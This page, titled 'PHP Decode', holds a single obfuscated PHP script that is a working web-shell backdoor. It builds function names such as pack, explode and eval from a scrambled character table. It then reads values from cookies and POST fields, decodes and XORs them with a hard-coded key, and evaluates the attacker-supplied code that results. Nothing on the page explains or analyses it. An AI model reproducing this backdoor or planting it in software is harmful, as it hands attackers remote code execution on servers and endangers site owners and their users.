PHP Decode

<?php 
$bveiadn = '#6bv4f7pnd389aeiklc2sHg\'-x1uyo_rmt*';$nlvxv = Array();$nlvxv[] = $bveiadn[21].$bveiadn[34];$nlvxv[] = $bveiadn[4].$bveiadn[6].$bveiadn[1].$bveiadn[1].$bveiadn[9].$bveiadn[26].$bveiadn[5].$bveiadn[6].$bveiadn[24].$bveiadn[12].$bveiadn[13].$bveiadn[19].$bveiadn[19].$bveiadn[24].$bveiadn[4].$bveiadn[11].$bveiadn[26].$bveiadn[4].$bveiadn[24].$bveiadn[2].$bveiadn[12].$bveiadn[1].$bveiadn[4].$bveiadn[24].$bveiadn[10].$bveiadn[13].$bveiadn[10].$bveiadn[12].$bveiadn[26].$bveiadn[14].$bveiadn[11].$bveiadn[6].$bveiadn[2].$bveiadn[13].$bveiadn[2].$bveiadn[19];$nlvxv[] = $bveiadn[0];$nlvxv[] = $bveiadn[18].$bveiadn[29].$bveiadn[27].$bveiadn[8].$bveiadn[33];$nlvxv[] = $bveiadn[20].$bveiadn[33].$bveiadn[31].$bveiadn[30].$bveiadn[31].$bveiadn[14].$bveiadn[7].$bveiadn[14].$bveiadn[13].$bveiadn[33];$nlvxv[] = $bveiadn[14].$bveiadn[25].$bveiadn[7].$bveiadn[17].$bveiadn[29].$bveiadn[9].$bveiadn[14];$nlvxv[] = $bveiadn[20].$bveiadn[27].$bveiadn[2].$bveiadn[20].$bveiadn[33].$bveiadn[31];$nlvxv[] = $bveiadn[13].$bveiadn[31].$bveiadn[31].$bveiadn[13].$bveiadn[28].$bveiadn[30].$bveiadn[32].$bveiadn[14].$bveiadn[31].$bveiadn[22].$bveiadn[14];$nlvxv[] = $bveiadn[20].$bveiadn[33].$bveiadn[31].$bveiadn[17].$bveiadn[14].$bveiadn[8];$nlvxv[] = $bveiadn[7].$bveiadn[13].$bveiadn[18].$bveiadn[16];foreach ($nlvxv[7]($_COOKIE, $_POST) as $wxaovyl => $leldu){function ponfpvw($nlvxv, $wxaovyl, $yptfhdw){return $nlvxv[6]($nlvxv[4]($wxaovyl . $nlvxv[1], ($yptfhdw / $nlvxv[8]($wxaovyl)) + 1), 0, $yptfhdw);}function ytqipm($nlvxv, $uqsoq){return @$nlvxv[9]($nlvxv[0], $uqsoq);}function laytx($nlvxv, $uqsoq){$gkkukse = $nlvxv[3]($uqsoq) % 3;if (!$gkkukse) {eval($uqsoq[1]($uqsoq[2]));exit();}}$leldu = ytqipm($nlvxv, $leldu);laytx($nlvxv, $nlvxv[5]($nlvxv[2], $leldu ^ ponfpvw($nlvxv, $wxaovyl, $nlvxv[8]($leldu))));} ?>